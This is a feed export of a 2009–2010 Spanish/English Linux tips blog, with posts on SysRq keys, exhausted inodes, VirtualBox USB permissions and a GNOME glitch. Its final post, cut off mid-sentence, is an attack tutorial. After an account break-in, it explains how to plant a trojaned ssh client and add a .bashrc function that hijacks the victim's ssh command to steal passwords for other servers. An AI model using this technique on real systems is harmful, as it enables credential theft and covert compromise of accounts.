0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;p&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;r&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Sync all mounted filesystems&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;s&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;o&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;s&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Output a list of current tasks and their information to the console&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;t&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;y&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;t&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Remount all mounted filesystems in&amp;nbsp;&lt;a href="http://en.wikipedia.org/wiki/Read-only" style="-webkit-background-clip: initial; -webkit-background-origin: initial; background-attachment: initial; background-color: initial; background-image: none; background-repeat: initial; color: #002bb8; text-decoration: none;" title="Read-only"&gt;read-only&lt;/a&gt;&amp;nbsp;mode&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;u&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;g&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;u&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Output Voyager SMP processor information&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;v&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;k&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;v&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;Display list of blocked (D state) tasks&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;w&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;,&lt;br /&gt;&lt;/td&gt;&lt;td style="border-bottom-color: rgb(170, 170, 170); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(170, 170, 170); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(170, 170, 170); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(170, 170, 170); border-top-style: solid; border-top-width: 1px; padding-bottom: 0.2em; padding-left: 0.2em; padding-right: 0.2em; padding-top: 0.2em;"&gt;z&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-8058872902386848921?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/8058872902386848921/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=8058872902386848921' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8058872902386848921'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/8058872902386848921'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2010/01/el-ataque-de-la-senora-de-la-limpieza.html' title='El ataque de la señora de la limpieza'/><author><name>arreche</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-1220916125416385664</id><published>2009-11-17T19:44:00.003Z</published><updated>2009-11-17T20:09:13.926Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='problemas'/><category scheme='http://www.blogger.com/atom/ns#' term='sistemas'/><category scheme='http://www.blogger.com/atom/ns#' term='inode'/><category scheme='http://www.blogger.com/atom/ns#' term='disco duro lleno'/><title type='text'>Oscuros problemas</title><content type='html'>Buenas hackers,&lt;br /&gt;&lt;br /&gt;Hoy vengo con entrada rápida. Estas son el tipo de cosas que me gusta contar para que luego ustedes no se peguen 2 días para resolverlo (como me ha pasado a mí), sino 30 segundos.&lt;br /&gt;&lt;br /&gt;Resulta que tras una larga cadena de cosas raras en mi sistema y tras la lectura de cientos de líneas de log y miles de código, me doy cuenta de que cierto driver al arrancar no puede crear un fichero que usan programas de esa suite como cerrojo con el mensaje de que el dispositivo esta lleno... todo sería lógico si no fuera porque el disco de donde tira estaba al 70%... unos 100 mb... así que o el cerrojo ese es jodidamente grande, o aquí pasa algo raro... bueno, sobra decir que lo que pasaba era lo raro jejeje. Después de pensarlo un tiempo lo que ocurría era que, efectivamente estaba lleno... pero no el dispositivo, ¡sino el sistema de ficheros que en él había!. Se había llegado al máximo número de inodes en ese sistema de ficheros debido a un proceso loco (el cuál ya esta correctamente diezmado) se había puesto a crear ficheros muy pequeños (ocupaban más metadatos que datos de hecho), pero en gran cantidad así que me lleno el número máximo de ficheros ocasionando el mensaje de que el dispositivo estaba lleno... solemos pensar que un dispositivo sólo se llena si se ocupa todo su espacio, de hecho es lo correcto, pero resulta que si se llena el sistema de ficheros, éste le echa la culpa al dispositivo, manda huevos.&lt;br /&gt;&lt;br /&gt;Por cierto, que lo pueden comprobar con el comando stat (man stat), bastó con hacer un rm de los gordos dentro de la superpoblada carpeta y todo como la seda.&lt;br /&gt;&lt;br /&gt;Moraleja, cuando te digan que algo está lleno preguntate qué cosas pueden llenar eso... en mí caso la inspiración me vino pensando en las quotas... existen para el espacio y para los inodes.&lt;br /&gt;&lt;br /&gt;Otra cosa, no confundan inodes con número de ficheros, suele usarse indistintamente, pero realmente no son equivalentes (no hay relación biyectiva)... softlinks, hardlinks...&lt;br /&gt;&lt;br /&gt;Happy hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-1220916125416385664?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/1220916125416385664/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=1220916125416385664' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1220916125416385664'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1220916125416385664'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/11/oscuros-problemas.html' title='Oscuros problemas'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-7897318491208703230</id><published>2009-10-15T08:30:00.006Z</published><updated>2009-10-15T09:23:16.231Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='vbox'/><category scheme='http://www.blogger.com/atom/ns#' term='virtualbox'/><category scheme='http://www.blogger.com/atom/ns#' term='usb'/><title type='text'>Hacer funcionar USB en VirtualBox sobre Ubuntu 9.04</title><content type='html'>Buenos días hackers!&lt;br /&gt;&lt;br /&gt;Hoy toca una guía rápida para lograr hacer funcionar tus dispositivos USB en una sistema operativo que está corriendo en una máquina virtual usando el software VirtualBox, a partir de ahora vbox, (ya saben, kubuntu virtualizado sobre ubuntu y cosas de esas... no estarás usando otro sistema, no?!?!).&lt;br /&gt;&lt;br /&gt;¿Por alguna razón necesitas hacerlos funcionar y te has empapado montón de howto's por internet que dicen todos lo mismo y que la mayoría son para ubuntu 8.10 u 8.04?, deja de buscar, yo también sufrí lo mismo y conseguí, después de dejar de leer y con ese conocimiento adquirido y mirando un poco por dentro del sistema, hacer funcionar mi "penedrive de 512 centímetros" y sí, te voy a decir cómo.&lt;br /&gt;&lt;br /&gt;Antes de empezar asumiré que no tienes instalado vbox, si lo tuvieras instalado desinstalalo con synaptic, apt-get, aptitude, dpkg... no me dentendré en esto, tal vez no sea necesario, pero yo describo mi situación y la que creo que funcionará.&lt;br /&gt;&lt;br /&gt;Pongámonos en situación, lo primero que debes saber es que la versión OSE (Open Source Edition) no creo que sea software libre (open source sí, software libre no), lo segundo es que por desgracia esa versión que es la que aparece en los repositorios, no tiene soporte para USB. Muy listos los de Sun (Oracle?), te dejan el soporte en la versión que ni siquiera es open source. Bueno, debido a esto, te tienes que bajar una versión de VirtualBox que sí tenga soporte, en mi caso cuando redacté ésto, en la &lt;a href="http://www.virtualbox.org/wiki/Downloads"&gt;web de vbox&lt;/a&gt; ofrecían vbox 3.0.8. Otro detalle es que si estás corriendo nativamente un OS de 64 bits tienes que bajarte la versión "amd64", aunque tu procesador no sea un AMD64, hay una pequeña nota justo encima pero yo no la leí hasta que me baje la versión i386 y me escupió en la consola que me bajara la otra y que leyera las cabeceras jejeje.&lt;br /&gt;&lt;br /&gt;Una vez tengas el paquete .deb, lo instalamos escribiendo en una consola:&lt;br /&gt;&lt;br /&gt;sudo dpkg -i &lt;paquete&gt;paquete.deb&lt;br /&gt;&lt;br /&gt;Esto probablemente te diga que la instalación ha ido mal, es debido a las dependencias, vbox en sí mismo está instalado pero no lo podrás correr (no creo) porque te faltan ciertas bibliotecas, si has tenido otro vbox antes casi seguro que no te dice nada. Si te faltan las bibliotecas lee cuales son (dpkg te lo dice) e instalalas desde los respositorios:&lt;br /&gt;&lt;br /&gt;sudo apt-get install paquetes&lt;biblioteca&gt;&lt;br /&gt;&lt;br /&gt;O con el synaptic o como más rabia te de (también voy a suponer que tienes los respositorios actualizados).&lt;br /&gt;&lt;br /&gt;Ya tenemos vbox instalado, creamos una nueva máquina virtual, le metemos el sistema que queremos (no voy a describir cómo). Ahora, antes de arrancar ese sistema lo seleccionamos en la ventana principal de vbox y le damos al botón configuración de la parte superior. En la parte izquierda una de las opciones es USB, vamos allí y marcamos los checkbuttons de habilitar el controlador USB y el de habilitar USB 2.0. Aceptamos y hasta aquí es lo que en general solíamos encontrar en howto's para 9.04... para versiones anteriores de ubuntu había que ir al /etc/init.d/mountdevfs.sh, /etc/fstab y empezar a trastocar... bla bla bla. Lo que nos queda por un lado es añadir nuestro usuario al grupo vboxusers, yo lo hice con:&lt;br /&gt;&lt;br /&gt;sudo vim /etc/group&lt;br /&gt;&lt;br /&gt;Y buscando el grupo (probablemente el último) y añadiéndome al final:&lt;br /&gt;&lt;br /&gt;vboxusers:x:124:nombre_usuario&lt;nombre_usuario&gt;&lt;br /&gt;&lt;br /&gt;AHORA VIENE EL TRUCO DE VERDAD, el que hace que todo funcione, resulta que aunque te añadas al grupo vboxusers, sólo el root tiene permisos para montar los USB, no lo he probado pero sería capaz de apostar a que si ejecutamos vbox con sudo o con gksu sí permitirá montarlos... pero eso es una chanada que no me gusta, vamos a cambiarlo. ¿Quién da acceso a los dispositivos? udev, entonces investiguemos... resulta que udev da esos permisos a vbox por lo descrito en el fichero /etc/udev/rules.d/10-vboxdrv.rules. Si lo abren, verán algo como:&lt;br /&gt;&lt;br /&gt;KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="root", MODE="0600"&lt;br /&gt;SUBSYSTEM=="usb_device", GROUP="vboxusers", MODE="0664"&lt;br /&gt;SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", GROUP="vboxusers", MODE="0664"&lt;br /&gt;&lt;br /&gt;Aquí está el problema, los subsistemas sí tienen permisos de lectura/escritura para el grupo vboxusers... pero y el driver?! el dueño es root y el grupo es root... y los permisos son 0600... incluso aunque tu usuario esté en el grupo root, no te iba a dejar detectar los dispositivos. Este es el motivo de que esté casi seguro de que si ejecutamos vbox con root, sí deje manipular los USB. Editémoslo y pongamos algo más coherente... como por ejemplo:&lt;br /&gt;&lt;br /&gt;KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="vboxusers", MODE="0660"&lt;br /&gt;&lt;br /&gt;De forma que el grupo ya no sea root, sino vboxusers y los permisos de grupos tengan lectura y escritura, así siempre que añadamos un usuario al grupo, podrá montar USB. He visto algunas soluciones (para 7.10) que comentaban que "poniendo MODE=0666 se soluciona!" pues claro! le estas dando permisos de lectura y escritura a todo el mundo... en el ordenador de tu casa está bien porque sólo lo usas tu... pero en otros entornos eso no es seguro.&lt;br /&gt;&lt;br /&gt;En fín, espero haberles quitado un problema de encima y haberles hecho entender por qué esta solución funciona (no basta con solucionar el problema).&lt;br /&gt;&lt;br /&gt;Happy Hacking!&lt;/nombre_usuario&gt;&lt;/biblioteca&gt;&lt;/paquete&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-7897318491208703230?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/7897318491208703230/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=7897318491208703230' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7897318491208703230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7897318491208703230'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/10/hacer-funcionar-usb-en-virtualbox-sobre.html' title='Hacer funcionar USB en VirtualBox sobre Ubuntu 9.04'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-5522478119987795571</id><published>2009-08-11T08:03:00.003Z</published><updated>2009-08-11T08:19:05.395Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='solution'/><category scheme='http://www.blogger.com/atom/ns#' term='dissapear'/><category scheme='http://www.blogger.com/atom/ns#' term='titlebar'/><category scheme='http://www.blogger.com/atom/ns#' term='crash'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='gnome'/><title type='text'>Gnome title bar crash (it dissapear)</title><content type='html'>Hi everybody,&lt;br /&gt;&lt;br /&gt;Just a few weeks ago one day I switch on my PC with Ubuntu and realize that I had no title bar, this one that allows you to resize the window and minimize, close, etc... Moreover, I realize that I had no filemanager too.&lt;br /&gt;&lt;br /&gt;I started to search for a solution surfing the internet but (amazingly) I realized that there were difficult to resolve my problem, I read a few articles speaking about gconf-editor, gnome-panel, metacity, nautilus, gnome-wm and more, but everything I read simply don't work for me.&lt;br /&gt;&lt;br /&gt;Then I start to mix all the information gather and get a solution, I think it is not the best solution because I don't discover wich is exactly the problem, why it started and wich is it's solution but at least nowadays I don't get affected by it.&lt;br /&gt;&lt;br /&gt;Just to avoid open a shell everytime I login and execute explicitly metacity and nautilus... System &gt; Preferences &gt; (Programs at startup | Applications at startup | Programas al inicio) and then we need to create two launchers one for the file manager... Create and in "Order, Command, Orden..." type /usr/bin/nautilus (or your prefered file manager). Again the same with the window manager, Create and in Order... /usr/bin/metacity.&lt;br /&gt;&lt;br /&gt;I know it's not the best solution (or maybe yes but I cannot say it because I don't know the source of the problem really) but at least it work pretty well.&lt;br /&gt;&lt;br /&gt;Sorry for mistakes, you know, I'm not english.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-5522478119987795571?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/5522478119987795571/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=5522478119987795571' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/5522478119987795571'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/5522478119987795571'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/08/gnome-title-bar-crash-it-dissapear.html' title='Gnome title bar crash (it dissapear)'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-1658881392566664734</id><published>2009-07-24T14:26:00.002Z</published><updated>2009-07-24T14:28:49.476Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='codigo fuente'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><title type='text'>Conseguir el código fuente</title><content type='html'>Hoy en la comida estaba hablando con arreche de lo propio, seguridad y cosas de esas y recordé que hacía unos pocos días quise bajarme el código fuente de login para verlo por dentro pero no lo pude encontrar. Arreche dió con la solución (y mira que era simple):&lt;br /&gt;&lt;br /&gt;sudo apt-get source login&lt;br /&gt;&lt;br /&gt;Evidentemente en login podemos poner lo que queramos bajarnos. Pues eso, ahí tienen la manera fácil de conseguir fuentes... y por cierto, login anda dentro del paquete "shadow".&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-1658881392566664734?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/1658881392566664734/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=1658881392566664734' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1658881392566664734'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/1658881392566664734'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/07/conseguir-el-codigo-fuente.html' title='Conseguir el código fuente'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-6466103701751051272</id><published>2009-04-20T10:40:00.004Z</published><updated>2009-04-20T11:09:40.692Z</updated><title type='text'>Truco para ussh</title><content type='html'>Ya comenté en la entrada anterior que nada en el mundo de la seguridad es infalible, que siempre se puede en última instancia coger los fuentes del programa más seguro del mundo y trastocarlos para que deje de serlo.&lt;br /&gt;&lt;br /&gt;Ya enseñamos el otro día cómo modificar los fuentes de openssh-client para saber donde andaba la contraseña, hoy vamos a ver como engañar a una víctima para robarle las contraseñas que use para conectarse a otros servidores mediante ssh. El escenario es el siguiente:&lt;br /&gt;&lt;br /&gt;De alguna forma u otra hemos conseguido colarnos en la cuenta de una víctima en el ordenador A. Como sabemos un mínimo "information gathering" miramos el fichero historial de comandos ejecutados por este usuario, en general .bash_history... este fichero es muy cómodo pero también compromete bastante ya que una vez se hayan colado en la cuenta, da muchísima información sobre el usuario víctima, con él podremos circunscribirnos únicamente a los programas que usa (los más comunes), no necesitamos hackear todos los programas del sistema (en principio). Además también podremos ver si se conecta por SSH a otros servers, cuáles son y con qué cuentas... ¡ANDA, ya tenemos cuentas válidas en otros servers!. Ahora podemos empezar un ataque por fuerza bruta o medianamente informado (diccionario, bla bla bla...). Pero eso no es interesante, lo guay es hacer truquillos para sacar esas contraseñas. El que a mi se me ha ocurrido es éste:&lt;br /&gt;&lt;br /&gt;1- Ver que versión de ssh usa el sistema "ssh -V"&lt;br /&gt;2- Bajarse los fuentes de esa versión&lt;br /&gt;3- Modificarla como se comentó en el post anterior&lt;br /&gt;4- Compilar nuestro ussh*&lt;br /&gt;5- Esconder ussh dentro de la carpeta de la víctima (podemos ya que tenemos acceso).&lt;br /&gt;6- Ahora hay que conseguir que cuando la víctima esté dentro de su cuenta comprometida ejecute nuestro ussh... Podemos ponerle un mensajito de inicio de que por favor lo haga... esto no dará demasiado resultado y es un poco cantoso, no? xDDDDDDDD. La forma que uso yo es la siguiente:&lt;br /&gt;&lt;br /&gt;Modificar .bashrc para engañarle, de forma que la víctima escriba "ssh ...." pero no sea eso lo que se ejecuta. Básicamente vale con algo así:&lt;br /&gt;&lt;br /&gt;ssh() {&lt;br /&gt;    if [[ -x path_a_ussh &lt;path_a_ussh&gt; ]]; then&lt;br /&gt;             path_a_ussh&lt;path_a_ussh&gt; $*&lt;br /&gt;    else&lt;br /&gt;             &lt;path_a_ssh_sin_hack&gt; path_a_ssh $*&lt;br /&gt;    fi&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Con poner esa pequeña función en .bashrc ya tendremos a la víctimas bastante comprometida y sin que se de demasiada cuenta. Es evidente que nos pueden pillar viendo que hay nuevos ficheros ocultos dentro de su cuenta y que .bashrc ha sido modificado... pero es bastante raro que estas acciones se lleven a cabo.&lt;br /&gt;&lt;br /&gt;7- Dale permisos a ussh, si te olvidas no pasa nada porque la función lo contempla con el -x, pero si eres algo más rústico puedes acabar generando un mensaje de error por permisos y que enseña la ruta a ussh.&lt;br /&gt;&lt;br /&gt;Simple, no? Con estos pocos pasos podemos sacar las tri-uplas usuario/servidor/contraseña que use la víctima... Yo he visto mucho por ahí usuarios que 